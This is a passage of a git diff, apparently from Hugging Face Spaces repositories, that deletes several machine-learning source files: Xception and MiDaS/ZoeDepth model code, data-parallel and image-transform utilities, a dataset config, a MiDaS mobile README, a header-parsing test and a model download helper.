self.global_pool, self.fc = create_classifier(self.num_features, self.num_classes, pool_type=global_pool) - - def forward_features(self, x): - # Entry flow - x = self.conv1(x) - x = self.bn1(x) - x = self.act1(x) - - x = self.conv2(x) - x = self.bn2(x) - x = self.act2(x) - - x = self.block1(x) - x = self.block1_act(x) - # c1 = x - x = self.block2(x) - # c2 = x - x = self.block3(x) - - # Middle flow - x = self.mid(x) - # c3 = x - - # Exit flow - x = self.block20(x) - x = self.block20_act(x) - x = self.conv3(x) - x = self.bn3(x) - x = self.act3(x) - - x = self.conv4(x) - x = self.bn4(x) - x = self.act4(x) - - x = self.conv5(x) - x = self.bn5(x) - x = self.act5(x) - return x - - def forward(self, x): - x = self.forward_features(x) - x = self.global_pool(x) - if self.drop_rate: - F.dropout(x, self.drop_rate, training=self.training) - x = self.fc(x) - return x - - -def _create_gluon_xception(variant, pretrained=False, **kwargs): - return build_model_with_cfg( - Xception65, variant, pretrained, - default_cfg=default_cfgs[variant], - feature_cfg=dict(feature_cls='hook'), - **kwargs) - - -@register_model -def gluon_xception65(pretrained=False, **kwargs): - """ Modified Aligned Xception-65 - """ - return _create_gluon_xception('gluon_xception65', pretrained, **kwargs) diff --git a/spaces/coreml-community/ControlNet-v1-1-Annotators-cpu/annotator/mmpkg/mmcv/parallel/data_parallel.py b/spaces/coreml-community/ControlNet-v1-1-Annotators-cpu/annotator/mmpkg/mmcv/parallel/data_parallel.py deleted file mode 100644 index 79b5f69b654cf647dc7ae9174223781ab5c607d2..0000000000000000000000000000000000000000 --- a/spaces/coreml-community/ControlNet-v1-1-Annotators-cpu/annotator/mmpkg/mmcv/parallel/data_parallel.py +++ /dev/null @@ -1,89 +0,0 @@ -# Copyright (c) OpenMMLab. All rights reserved. -from itertools import chain - -from torch.nn.parallel import DataParallel - -from .scatter_gather import scatter_kwargs - - -class MMDataParallel(DataParallel): - """The DataParallel module that supports DataContainer. - - MMDataParallel has two main differences with PyTorch DataParallel: - - - It supports a custom type :class:`DataContainer` which allows more - flexible control of input data during both GPU and CPU inference. - - It implement two more APIs ``train_step()`` and ``val_step()``. - - Args: - module (:class:`nn.Module`): Module to be encapsulated. - device_ids (list[int]): Device IDS of modules to be scattered to. - Defaults to None when GPU is not available. - output_device (str | int): Device ID for output. Defaults to None. - dim (int): Dimension used to scatter the data. Defaults to 0. - """ - - def __init__(self, *args, dim=0, **kwargs): - super(MMDataParallel, self).__init__(*args, dim=dim, **kwargs) - self.dim = dim - - def forward(self, *inputs, **kwargs): - """Override the original forward function. - - The main difference lies in the CPU inference where the data in - :class:`DataContainers` will still be gathered. - """ - if not self.device_ids: - # We add the following line thus the module could gather and - # convert data containers as those in GPU inference - inputs, kwargs = self.scatter(inputs, kwargs, [-1]) - return self.module(*inputs[0], **kwargs[0]) - else: - return super().forward(*inputs, **kwargs) - - def scatter(self, inputs, kwargs, device_ids): - return scatter_kwargs(inputs, kwargs, device_ids, dim=self.dim) - - def train_step(self, *inputs, **kwargs): - if not self.device_ids: - # We add the following line thus the module could gather and - # convert data containers as those in GPU inference - inputs, kwargs = self.scatter(inputs, kwargs, [-1]) - return self.module.train_step(*inputs[0], **kwargs[0]) - - assert len(self.device_ids) == 1, \ - ('MMDataParallel only supports single GPU training, if you need to' - ' train with multiple GPUs, please use MMDistributedDataParallel' - 'instead.') - - for t in chain(self.module.parameters(), self.module.buffers()): - if t.device != self.src_device_obj: - raise RuntimeError( - 'module must have its parameters and buffers ' - f'on device {self.src_device_obj} (device_ids[0]) but ' - f'found one of them on device: {t.device}') - - inputs, kwargs = self.scatter(inputs, kwargs, self.device_ids) - return self.module.train_step(*inputs[0], **kwargs[0]) - - def val_step(self, *inputs, **kwargs): - if not self.device_ids: - # We add the following line thus the module could gather and - # convert data containers as those in GPU inference - inputs, kwargs = self.scatter(inputs, kwargs, [-1]) - return self.module.val_step(*inputs[0], **kwargs[0]) - - assert len(self.device_ids) == 1, \ - ('MMDataParallel only supports single GPU training, if you need to' - ' train with multiple GPUs, please use MMDistributedDataParallel' - ' instead.') - - for t in chain(self.module.parameters(), self.module.buffers()): - if t.device != self.src_device_obj: - raise RuntimeError( - 'module must have its parameters and buffers ' - f'on device {self.src_device_obj} (device_ids[0]) but ' - f'found one of them on device: {t.device}') - - inputs, kwargs = self.scatter(inputs, kwargs, self.device_ids) - return self.module.val_step(*inputs[0], **kwargs[0]) diff --git a/spaces/coreml-community/ControlNet-v1-1-Annotators-cpu/annotator/normalbae/models/submodules/efficientnet_repo/data/transforms.py b/spaces/coreml-community/ControlNet-v1-1-Annotators-cpu/annotator/normalbae/models/submodules/efficientnet_repo/data/transforms.py deleted file mode 100644 index a570d484683f8ad5612bc22fb9ecae7e75c36afc..0000000000000000000000000000000000000000 --- a/spaces/coreml-community/ControlNet-v1-1-Annotators-cpu/annotator/normalbae/models/submodules/efficientnet_repo/data/transforms.py +++ /dev/null @@ -1,150 +0,0 @@ -import torch -from torchvision import transforms -from PIL import Image -import math -import numpy as np - -DEFAULT_CROP_PCT = 0.875 - -IMAGENET_DEFAULT_MEAN = (0.485, 0.456, 0.406) -IMAGENET_DEFAULT_STD = (0.229, 0.224, 0.225) -IMAGENET_INCEPTION_MEAN = (0.5, 0.5, 0.5) -IMAGENET_INCEPTION_STD = (0.5, 0.5, 0.5) -IMAGENET_DPN_MEAN = (124 / 255, 117 / 255, 104 / 255) -IMAGENET_DPN_STD = tuple([1 / (.0167 * 255)] * 3) - - -def resolve_data_config(model, args, default_cfg={}, verbose=True): - new_config = {} - default_cfg = default_cfg - if not default_cfg and model is not None and hasattr(model, 'default_cfg'): - default_cfg = model.default_cfg - - # Resolve input/image size - # FIXME grayscale/chans arg to use different # channels? - in_chans = 3 - input_size = (in_chans, 224, 224) - if args.img_size is not None: - # FIXME support passing img_size as tuple, non-square - assert isinstance(args.img_size, int) - input_size = (in_chans, args.img_size, args.img_size) - elif 'input_size' in default_cfg: - input_size = default_cfg['input_size'] - new_config['input_size'] = input_size - - # resolve interpolation method - new_config['interpolation'] = 'bicubic' - if args.interpolation: - new_config['interpolation'] = args.interpolation - elif 'interpolation' in default_cfg: - new_config['interpolation'] = default_cfg['interpolation'] - - # resolve dataset + model mean for normalization - new_config['mean'] = IMAGENET_DEFAULT_MEAN - if args.mean is not None: - mean = tuple(args.mean) - if len(mean) == 1: - mean = tuple(list(mean) * in_chans) - else: - assert len(mean) == in_chans - new_config['mean'] = mean - elif 'mean' in default_cfg: - new_config['mean'] = default_cfg['mean'] - - # resolve dataset + model std deviation for normalization - new_config['std'] = IMAGENET_DEFAULT_STD - if args.std is not None: - std = tuple(args.std) - if len(std) == 1: - std = tuple(list(std) * in_chans) - else: - assert len(std) == in_chans - new_config['std'] = std - elif 'std' in default_cfg: - new_config['std'] = default_cfg['std'] - - # resolve default crop percentage - new_config['crop_pct'] = DEFAULT_CROP_PCT - if args.crop_pct is not None: - new_config['crop_pct'] = args.crop_pct - elif 'crop_pct' in default_cfg: - new_config['crop_pct'] = default_cfg['crop_pct'] - - if verbose: - print('Data processing configuration for current model + dataset:') - for n, v in new_config.items(): - print('\t%s: %s' % (n, str(v))) - - return new_config - - -class ToNumpy: - - def __call__(self, pil_img): - np_img = np.array(pil_img, dtype=np.uint8) - if np_img.ndim < 3: - np_img = np.expand_dims(np_img, axis=-1) - np_img = np.rollaxis(np_img, 2) # HWC to CHW - return np_img - - -class ToTensor: - - def __init__(self, dtype=torch.float32): - self.dtype = dtype - - def __call__(self, pil_img): - np_img = np.array(pil_img, dtype=np.uint8) - if np_img.ndim < 3: - np_img = np.expand_dims(np_img, axis=-1) - np_img = np.rollaxis(np_img, 2) # HWC to CHW - return torch.from_numpy(np_img).to(dtype=self.dtype) - - -def _pil_interp(method): - if method == 'bicubic': - return Image.BICUBIC - elif method == 'lanczos': - return Image.LANCZOS - elif method == 'hamming': - return Image.HAMMING - else: - # default bilinear, do we want to allow nearest? - return Image.BILINEAR - - -def transforms_imagenet_eval( - img_size=224, - crop_pct=None, - interpolation='bilinear', - use_prefetcher=False, - mean=IMAGENET_DEFAULT_MEAN, - std=IMAGENET_DEFAULT_STD): - crop_pct = crop_pct or DEFAULT_CROP_PCT - - if isinstance(img_size, tuple): - assert len(img_size) == 2 - if img_size[-1] == img_size[-2]: - # fall-back to older behaviour so Resize scales to shortest edge if target is square - scale_size = int(math.floor(img_size[0] / crop_pct)) - else: - scale_size = tuple([int(x / crop_pct) for x in img_size]) - else: - scale_size = int(math.floor(img_size / crop_pct)) - - tfl = [ - transforms.Resize(scale_size, _pil_interp(interpolation)), - transforms.CenterCrop(img_size), - ] - if use_prefetcher: - # prefetcher and collate will handle tensor conversion and norm - tfl += [ToNumpy()] - else: - tfl += [ - transforms.ToTensor(), - transforms.Normalize( - mean=torch.tensor(mean), - std=torch.tensor(std)) - ] - - return transforms.Compose(tfl) diff --git a/spaces/coreml-community/ControlNet-v1-1-Annotators-cpu/annotator/uniformer/configs/_base_/datasets/stare.py b/spaces/coreml-community/ControlNet-v1-1-Annotators-cpu/annotator/uniformer/configs/_base_/datasets/stare.py deleted file mode 100644 index 3f71b25488cc11a6b4d582ac52b5a24e1ad1cf8e..0000000000000000000000000000000000000000 --- a/spaces/coreml-community/ControlNet-v1-1-Annotators-cpu/annotator/uniformer/configs/_base_/datasets/stare.py +++ /dev/null @@ -1,59 +0,0 @@ -# dataset settings -dataset_type = 'STAREDataset' -data_root = 'data/STARE' -img_norm_cfg = dict( - mean=[123.675, 116.28, 103.53], std=[58.395, 57.12, 57.375], to_rgb=True) -img_scale = (605, 700) -crop_size = (128, 128) -train_pipeline = [ - dict(type='LoadImageFromFile'), - dict(type='LoadAnnotations'), - dict(type='Resize', img_scale=img_scale, ratio_range=(0.5, 2.0)), - dict(type='RandomCrop', crop_size=crop_size, cat_max_ratio=0.75), - dict(type='RandomFlip', prob=0.5), - dict(type='PhotoMetricDistortion'), - dict(type='Normalize', **img_norm_cfg), - dict(type='Pad', size=crop_size, pad_val=0, seg_pad_val=255), - dict(type='DefaultFormatBundle'), - dict(type='Collect', keys=['img', 'gt_semantic_seg']) -] -test_pipeline = [ - dict(type='LoadImageFromFile'), - dict( - type='MultiScaleFlipAug', - img_scale=img_scale, - # img_ratios=[0.5, 0.75, 1.0, 1.25, 1.5, 1.75, 2.0], - flip=False, - transforms=[ - dict(type='Resize', keep_ratio=True), - dict(type='RandomFlip'), - dict(type='Normalize', **img_norm_cfg), - dict(type='ImageToTensor', keys=['img']), - dict(type='Collect', keys=['img']) - ]) -] - -data = dict( - samples_per_gpu=4, - workers_per_gpu=4, - train=dict( - type='RepeatDataset', - times=40000, - dataset=dict( - type=dataset_type, - data_root=data_root, - img_dir='images/training', - ann_dir='annotations/training', - pipeline=train_pipeline)), - val=dict( - type=dataset_type, - data_root=data_root, - img_dir='images/validation', - ann_dir='annotations/validation', - pipeline=test_pipeline), - test=dict( - type=dataset_type, - data_root=data_root, - img_dir='images/validation', - ann_dir='annotations/validation', - pipeline=test_pipeline)) diff --git a/spaces/coreml-community/ControlNet-v1-1-Annotators-cpu/annotator/zoe/zoedepth/models/base_models/midas.py b/spaces/coreml-community/ControlNet-v1-1-Annotators-cpu/annotator/zoe/zoedepth/models/base_models/midas.py deleted file mode 100644 index ee660bc93d44c28efe8d8c674e715ea2ecb4c183..0000000000000000000000000000000000000000 --- a/spaces/coreml-community/ControlNet-v1-1-Annotators-cpu/annotator/zoe/zoedepth/models/base_models/midas.py +++ /dev/null @@ -1,379 +0,0 @@ -# MIT License -import os - -# Copyright (c) 2022 Intelligent Systems Lab Org - -# Permission is hereby granted, free of charge, to any person obtaining a copy -# of this software and associated documentation files (the "Software"), to deal -# in the Software without restriction, including without limitation the rights -# to use, copy, modify, merge, publish, distribute, sublicense, and/or sell -# copies of the Software, and to permit persons to whom the Software is -# furnished to do so, subject to the following conditions: - -# The above copyright notice and this permission notice shall be included in all -# copies or substantial portions of the Software. - -# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR -# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, -# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE -# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER -# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, -# OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE -# SOFTWARE. - -# File author: Shariq Farooq Bhat - -import torch -import torch.nn as nn -import numpy as np -from torchvision.transforms import Normalize - - -def denormalize(x): - """Reverses the imagenet normalization applied to the input. - - Args: - x (torch.Tensor - shape(N,3,H,W)): input tensor - - Returns: - torch.Tensor - shape(N,3,H,W): Denormalized input - """ - mean = torch.Tensor([0.485, 0.456, 0.406]).view(1, 3, 1, 1).to(x.device) - std = torch.Tensor([0.229, 0.224, 0.225]).view(1, 3, 1, 1).to(x.device) - return x * std + mean - -def get_activation(name, bank): - def hook(model, input, output): - bank[name] = output - return hook - - -class Resize(object): - """Resize sample to given size (width, height). - """ - - def __init__( - self, - width, - height, - resize_target=True, - keep_aspect_ratio=False, - ensure_multiple_of=1, - resize_method="lower_bound", - ): - """Init. - Args: - width (int): desired output width - height (int): desired output height - resize_target (bool, optional): - True: Resize the full sample (image, mask, target). - False: Resize image only. - Defaults to True. - keep_aspect_ratio (bool, optional): - True: Keep the aspect ratio of the input sample. - Output sample might not have the given width and height, and - resize behaviour depends on the parameter 'resize_method'. - Defaults to False. - ensure_multiple_of (int, optional): - Output width and height is constrained to be multiple of this parameter. - Defaults to 1. - resize_method (str, optional): - "lower_bound": Output will be at least as large as the given size. - "upper_bound": Output will be at max as large as the given size. (Output size might be smaller than given size.) - "minimal": Scale as least as possible. (Output size might be smaller than given size.) - Defaults to "lower_bound". - """ - print("Params passed to Resize transform:") - print("\twidth: ", width) - print("\theight: ", height) - print("\tresize_target: ", resize_target) - print("\tkeep_aspect_ratio: ", keep_aspect_ratio) - print("\tensure_multiple_of: ", ensure_multiple_of) - print("\tresize_method: ", resize_method) - - self.__width = width - self.__height = height - - self.__keep_aspect_ratio = keep_aspect_ratio - self.__multiple_of = ensure_multiple_of - self.__resize_method = resize_method - - def constrain_to_multiple_of(self, x, min_val=0, max_val=None): - y = (np.round(x / self.__multiple_of) * self.__multiple_of).astype(int) - - if max_val is not None and y > max_val: - y = (np.floor(x / self.__multiple_of) - * self.__multiple_of).astype(int) - - if y < min_val: - y = (np.ceil(x / self.__multiple_of) - * self.__multiple_of).astype(int) - - return y - - def get_size(self, width, height): - # determine new height and width - scale_height = self.__height / height - scale_width = self.__width / width - - if self.__keep_aspect_ratio: - if self.__resize_method == "lower_bound": - # scale such that output size is lower bound - if scale_width > scale_height: - # fit width - scale_height = scale_width - else: - # fit height - scale_width = scale_height - elif self.__resize_method == "upper_bound": - # scale such that output size is upper bound - if scale_width < scale_height: - # fit width - scale_height = scale_width - else: - # fit height - scale_width = scale_height - elif self.__resize_method == "minimal": - # scale as least as possbile - if abs(1 - scale_width) < abs(1 - scale_height): - # fit width - scale_height = scale_width - else: - # fit height - scale_width = scale_height - else: - raise ValueError( - f"resize_method {self.__resize_method} not implemented" - ) - - if self.__resize_method == "lower_bound": - new_height = self.constrain_to_multiple_of( - scale_height * height, min_val=self.__height - ) - new_width = self.constrain_to_multiple_of( - scale_width * width, min_val=self.__width - ) - elif self.__resize_method == "upper_bound": - new_height = self.constrain_to_multiple_of( - scale_height * height, max_val=self.__height - ) - new_width = self.constrain_to_multiple_of( - scale_width * width, max_val=self.__width - ) - elif self.__resize_method == "minimal": - new_height = self.constrain_to_multiple_of(scale_height * height) - new_width = self.constrain_to_multiple_of(scale_width * width) - else: - raise ValueError( - f"resize_method {self.__resize_method} not implemented") - - return (new_width, new_height) - - def __call__(self, x): - width, height = self.get_size(*x.shape[-2:][::-1]) - return nn.functional.interpolate(x, (height, width), mode='bilinear', align_corners=True) - -class PrepForMidas(object): - def __init__(self, resize_mode="minimal", keep_aspect_ratio=True, img_size=384, do_resize=True): - if isinstance(img_size, int): - img_size = (img_size, img_size) - net_h, net_w = img_size - self.normalization = Normalize( - mean=[0.5, 0.5, 0.5], std=[0.5, 0.5, 0.5]) - self.resizer = Resize(net_w, net_h, keep_aspect_ratio=keep_aspect_ratio, ensure_multiple_of=32, resize_method=resize_mode) \ - if do_resize else nn.Identity() - - def __call__(self, x): - return self.normalization(self.resizer(x)) - - -class MidasCore(nn.Module): - def __init__(self, midas, trainable=False, fetch_features=True, layer_names=('out_conv', 'l4_rn', 'r4', 'r3', 'r2', 'r1'), freeze_bn=False, keep_aspect_ratio=True, - img_size=384, **kwargs): - """Midas Base model used for multi-scale feature extraction. - - Args: - midas (torch.nn.Module): Midas model. - trainable (bool, optional): Train midas model. Defaults to False. - fetch_features (bool, optional): Extract multi-scale features. Defaults to True. - layer_names (tuple, optional): Layers used for feature extraction. Order = (head output features, last layer features, ...decoder features). Defaults to ('out_conv', 'l4_rn', 'r4', 'r3', 'r2', 'r1'). - freeze_bn (bool, optional): Freeze BatchNorm. Generally results in better finetuning performance. Defaults to False. - keep_aspect_ratio (bool, optional): Keep the aspect ratio of input images while resizing. Defaults to True. - img_size (int, tuple, optional): Input resolution. Defaults to 384. - """ - super().__init__() - self.core = midas - self.output_channels = None - self.core_out = {} - self.trainable = trainable - self.fetch_features = fetch_features - # midas.scratch.output_conv = nn.Identity() - self.handles = [] - # self.layer_names = ['out_conv','l4_rn', 'r4', 'r3', 'r2', 'r1'] - self.layer_names = layer_names - - self.set_trainable(trainable) - self.set_fetch_features(fetch_features) - - self.prep = PrepForMidas(keep_aspect_ratio=keep_aspect_ratio, - img_size=img_size, do_resize=kwargs.get('do_resize', True)) - - if freeze_bn: - self.freeze_bn() - - def set_trainable(self, trainable): - self.trainable = trainable - if trainable: - self.unfreeze() - else: - self.freeze() - return self - - def set_fetch_features(self, fetch_features): - self.fetch_features = fetch_features - if fetch_features: - if len(self.handles) == 0: - self.attach_hooks(self.core) - else: - self.remove_hooks() - return self - - def freeze(self): - for p in self.parameters(): - p.requires_grad = False - self.trainable = False - return self - - def unfreeze(self): - for p in self.parameters(): - p.requires_grad = True - self.trainable = True - return self - - def freeze_bn(self): - for m in self.modules(): - if isinstance(m, nn.BatchNorm2d): - m.eval() - return self - - def forward(self, x, denorm=False, return_rel_depth=False): - with torch.no_grad(): - if denorm: - x = denormalize(x) - x = self.prep(x) - # print("Shape after prep: ", x.shape) - - with torch.set_grad_enabled(self.trainable): - - # print("Input size to Midascore", x.shape) - rel_depth = self.core(x) - # print("Output from midas shape", rel_depth.shape) - if not self.fetch_features: - return rel_depth - out = [self.core_out[k] for k in self.layer_names] - - if return_rel_depth: - return rel_depth, out - return out - - def get_rel_pos_params(self): - for name, p in self.core.pretrained.named_parameters(): - if "relative_position" in name: - yield p - - def get_enc_params_except_rel_pos(self): - for name, p in self.core.pretrained.named_parameters(): - if "relative_position" not in name: - yield p - - def freeze_encoder(self, freeze_rel_pos=False): - if freeze_rel_pos: - for p in self.core.pretrained.parameters(): - p.requires_grad = False - else: - for p in self.get_enc_params_except_rel_pos(): - p.requires_grad = False - return self - - def attach_hooks(self, midas): - if len(self.handles) > 0: - self.remove_hooks() - if "out_conv" in self.layer_names: - self.handles.append(list(midas.scratch.output_conv.children())[ - 3].register_forward_hook(get_activation("out_conv", self.core_out))) - if "r4" in self.layer_names: - self.handles.append(midas.scratch.refinenet4.register_forward_hook( - get_activation("r4", self.core_out))) - if "r3" in self.layer_names: - self.handles.append(midas.scratch.refinenet3.register_forward_hook( - get_activation("r3", self.core_out))) - if "r2" in self.layer_names: - self.handles.append(midas.scratch.refinenet2.register_forward_hook( - get_activation("r2", self.core_out))) - if "r1" in self.layer_names: - self.handles.append(midas.scratch.refinenet1.register_forward_hook( - get_activation("r1", self.core_out))) - if "l4_rn" in self.layer_names: - self.handles.append(midas.scratch.layer4_rn.register_forward_hook( - get_activation("l4_rn", self.core_out))) - - return self - - def remove_hooks(self): - for h in self.handles: - h.remove() - return self - - def __del__(self): - self.remove_hooks() - - def set_output_channels(self, model_type): - self.output_channels = MIDAS_SETTINGS[model_type] - - @staticmethod - def build(midas_model_type="DPT_BEiT_L_384", train_midas=False, use_pretrained_midas=True, fetch_features=False, freeze_bn=True, force_keep_ar=False, force_reload=False, **kwargs): - if midas_model_type not in MIDAS_SETTINGS: - raise ValueError( - f"Invalid model type: {midas_model_type}. Must be one of {list(MIDAS_SETTINGS.keys())}") - if "img_size" in kwargs: - kwargs = MidasCore.parse_img_size(kwargs) - img_size = kwargs.pop("img_size", [384, 384]) - print("img_size", img_size) - midas_path = os.path.join(os.path.dirname(__file__), 'midas_repo') - midas = torch.hub.load(midas_path, midas_model_type, - pretrained=use_pretrained_midas, force_reload=force_reload, source='local') - kwargs.update({'keep_aspect_ratio': force_keep_ar}) - midas_core = MidasCore(midas, trainable=train_midas, fetch_features=fetch_features, - freeze_bn=freeze_bn, img_size=img_size, **kwargs) - midas_core.set_output_channels(midas_model_type) - return midas_core - - @staticmethod - def build_from_config(config): - return MidasCore.build(**config) - - @staticmethod - def parse_img_size(config): - assert 'img_size' in config - if isinstance(config['img_size'], str): - assert "," in config['img_size'], "img_size should be a string with comma separated img_size=H,W" - config['img_size'] = list(map(int, config['img_size'].split(","))) - assert len( - config['img_size']) == 2, "img_size should be a string with comma separated img_size=H,W" - elif isinstance(config['img_size'], int): - config['img_size'] = [config['img_size'], config['img_size']] - else: - assert isinstance(config['img_size'], list) and len( - config['img_size']) == 2, "img_size should be a list of H,W" - return config - - -nchannels2models = { - tuple([256]*5): ["DPT_BEiT_L_384", "DPT_BEiT_L_512", "DPT_BEiT_B_384", "DPT_SwinV2_L_384", "DPT_SwinV2_B_384", "DPT_SwinV2_T_256", "DPT_Large", "DPT_Hybrid"], - (512, 256, 128, 64, 64): ["MiDaS_small"] -} - -# Model name to number of output channels -MIDAS_SETTINGS = {m: k for k, v in nchannels2models.items() - for m in v - } diff --git a/spaces/coreml-community/ControlNet-v1-1-Annotators-cpu/annotator/zoe/zoedepth/models/base_models/midas_repo/mobile/README.md b/spaces/coreml-community/ControlNet-v1-1-Annotators-cpu/annotator/zoe/zoedepth/models/base_models/midas_repo/mobile/README.md deleted file mode 100644 index 45c18f7f0bfe40c0db373e8a94716867705f5827..0000000000000000000000000000000000000000 --- a/spaces/coreml-community/ControlNet-v1-1-Annotators-cpu/annotator/zoe/zoedepth/models/base_models/midas_repo/mobile/README.md +++ /dev/null @@ -1,70 +0,0 @@ -## Mobile version of MiDaS for iOS / Android - Monocular Depth Estimation - -### Accuracy - -* Old small model - ResNet50 default-decoder 384x384 -* New small model - EfficientNet-Lite3 small-decoder 256x256 - -**Zero-shot error** (the lower - the better): - -| Model | DIW WHDR | Eth3d AbsRel | Sintel AbsRel | Kitti δ>1.25 | NyuDepthV2 δ>1.25 | TUM δ>1.25 | -|---|---|---|---|---|---|---| -| Old small model 384x384 | **0.1248** | 0.1550 | **0.3300** | **21.81** | 15.73 | 17.00 | -| New small model 256x256 | 0.1344 | **0.1344** | 0.3370 | 29.27 | **13.43** | **14.53** | -| Relative improvement, % | -8 % | **+13 %** | -2 % | -34 % | **+15 %** | **+15 %** | - -None of Train/Valid/Test subsets of datasets (DIW, Eth3d, Sintel, Kitti, NyuDepthV2, TUM) were not involved in Training or Fine Tuning. - -### Inference speed (FPS) on iOS / Android - -**Frames Per Second** (the higher - the better): - -| Model | iPhone CPU | iPhone GPU | iPhone NPU | OnePlus8 CPU | OnePlus8 GPU | OnePlus8 NNAPI | -|---|---|---|---|---|---|---| -| Old small model 384x384 | 0.6 | N/A | N/A | 0.45 | 0.50 | 0.50 | -| New small model 256x256 | 8 | 22 | **30** | 6 | **22** | 4 | -| SpeedUp, X times | **12.8x** | - | - | **13.2x** | **44x** | **8x** | - -N/A - run-time error (no data available) - - -#### Models: - -* Old small model - ResNet50 default-decoder 1x384x384x3, batch=1 FP32 (converters: Pytorch -> ONNX - [onnx_tf](https://github.com/onnx/onnx-tensorflow) -> (saved model) PB -> TFlite) - - (Trained on datasets: RedWeb, MegaDepth, WSVD, 3D Movies, DIML indoor) - -* New small model - EfficientNet-Lite3 small-decoder 1x256x256x3, batch=1 FP32 (custom converter: Pytorch -> TFlite) - - (Trained on datasets: RedWeb, MegaDepth, WSVD, 3D Movies, DIML indoor, HRWSI, IRS, TartanAir, BlendedMVS, ApolloScape) - -#### Frameworks for training and conversions: -``` -pip install torch==1.6.0 torchvision==0.7.0 -pip install tf-nightly-gpu==2.5.0.dev20201031 tensorflow-addons==0.11.2 numpy==1.18.0 -git clone --depth 1 --branch v1.6.0 https://github.com/onnx/onnx-tensorflow -``` - -#### SoC - OS - Library: - -* iPhone 11 (A13 Bionic) - iOS 13.7 - TensorFlowLiteSwift 0.0.1-nightly -* OnePlus 8 (Snapdragon 865) - Andoird 10 - org.tensorflow:tensorflow-lite-task-vision:0.0.0-nightly - - -### Citation - -This repository contains code to compute depth from a single image. It accompanies our [paper](https://arxiv.org/abs/1907.01341v3): - ->Towards Robust Monocular Depth Estimation: Mixing Datasets for Zero-shot Cross-dataset Transfer -René Ranftl, Katrin Lasinger, David Hafner, Konrad Schindler, Vladlen Koltun - -Please cite our paper if you use this code or any of the models: -``` -@article{Ranftl2020, - author = {Ren\'{e} Ranftl and Katrin Lasinger and David Hafner and Konrad Schindler and Vladlen Koltun}, - title = {Towards Robust Monocular Depth Estimation: Mixing Datasets for Zero-shot Cross-dataset Transfer}, - journal = {IEEE Transactions on Pattern Analysis and Machine Intelligence (TPAMI)}, - year = {2020}, -} -``` - diff --git a/spaces/cozyanduofen/bingo/tests/parse.ts b/spaces/cozyanduofen/bingo/tests/parse.ts deleted file mode 100644 index 92940fe6315f1d7cb2b267ba5e5a7e26460a1de3..0000000000000000000000000000000000000000 --- a/spaces/cozyanduofen/bingo/tests/parse.ts +++ /dev/null @@ -1,13 +0,0 @@ -import { promises as fs } from 'fs' -import { join } from 'path' -import { parseHeadersFromCurl } from '@/lib/utils' - -(async () => { - const content = await fs.readFile(join(__dirname, './fixtures/curl.txt'), 'utf-8') - const headers = parseHeadersFromCurl(content) - console.log(headers) - - const cmdContent = await fs.readFile(join(__dirname, './fixtures/cmd.txt'), 'utf-8') - const cmdHeaders = parseHeadersFromCurl(cmdContent) - console.log(cmdHeaders) -})() diff --git a/spaces/cscan/CodeFormer/CodeFormer/basicsr/utils/download_util.py b/spaces/cscan/CodeFormer/CodeFormer/basicsr/utils/download_util.py deleted file mode 100644 index 2a267915743ee3f3232bc8fe992466b52468979a..0000000000000000000000000000000000000000 --- a/spaces/cscan/CodeFormer/CodeFormer/basicsr/utils/download_util.py +++ /dev/null @@ -1,95 +0,0 @@ -import math -import os -import requests -from torch.hub import download_url_to_file, get_dir -from tqdm import tqdm -from urllib.parse import urlparse - -from .misc import sizeof_fmt - - -def download_file_from_google_drive(file_id, save_path): - """Download files from google drive. - Ref: - https://stackoverflow.com/questions/25010369/wget-curl-large-file-from-google-drive # noqa E501 - Args: - file_id (str): File id. - save_path (str): Save path. - """ - - session = requests.Session() - URL = 'https://docs.google.com/uc?export=download' - params = {'id': file_id} - - response = session.get(URL, params=params, stream=True) - token = get_confirm_token(response) - if token: - params['confirm'] = token - response = session.get(URL, params=params, stream=True) - - # get file size - response_file_size = session.get(URL, params=params, stream=True, headers={'Range': 'bytes=0-2'}) - print(response_file_size) - if 'Content-Range' in response_file_size.headers: - file_size = int(response_file_size.headers['Content-Range'].split('/')[1]) - else: - file_size = None - - save_response_content(response, save_path, file_size) - - -def get_confirm_token(response): - for key, value in response.cookies.items(): - if key.startswith('download_warning'): - return value - return None - - -def save_response_content(response, destination, file_size=None, chunk_size=32768): - if file_size is not None: - pbar = tqdm(total=math.ceil(file_size / chunk_size), unit='chunk') - - readable_file_size = sizeof_fmt(file_size) - else: - pbar = None - - with open(destination, 'wb') as f: - downloaded_size = 0 - for chunk in response.iter_content(chunk_size): - downloaded_size += chunk_size - if pbar is not None: - pbar.update(1) - pbar.set_description(f'Download {sizeof_fmt(downloaded_size)} / {readable_file_size}') - if chunk: # filter out keep-alive new chunks - f.write(chunk) - if pbar is not None: - pbar.close() - - -def load_file_from_url(url, model_dir=None, progress=True, file_name=None): - """Load file form http url, will download models if necessary. - Ref:https://github.com/1adrianb/face-alignment/blob/master/face_alignment/utils.py - Args: - url (str): URL to be downloaded. - model_dir (str): The path to save the downloaded model. Should be a full path. If None, use pytorch hub_dir. - Default: None. - progress (bool): Whether to show the download progress. Default: True. - file_name (str): The downloaded file name. If None, use the file name in the url. Default: None. - Returns: - str: The path to the downloaded file. - """ - if model_dir is None: # use the pytorch hub_dir - hub_dir = get_dir() - model_dir = os.path.join(hub_dir, 'checkpoints') - - os.makedirs(model_dir, exist_ok=True) - - parts = urlparse(url) - filename = os.path.basename(parts.path) - if file_name is not None: - filename = file_name - cached_file = os.path.abspath(os.path.join(model_dir, filename)) - if not os.path.exists(cached_file): - print(f'Downloading: "{url}" to {cached_file}\n') - download_url_to_file(url, cached_file, hash_prefix=None, progress=progress) - return cached_file \ No newline at end of file diff --git a/spaces/cvlab/zero123-live/gradio_objaverse.py b/spaces/cvlab/zero123-live/gradio_objaverse.py deleted file mode 100644 index 333a94b6797d90d4661f4ab647a423ce511dec68..0000000000000000000000000000000000000000 --- a/spaces/cvlab/zero123-live/gradio_objaverse.py +++ /dev/null @@ -1,184 +0,0 @@ -from contextlib import nullcontext -from functools import partial - -import math -import fire -import gradio as gr -import numpy as np -import torch -from einops import rearrange -from 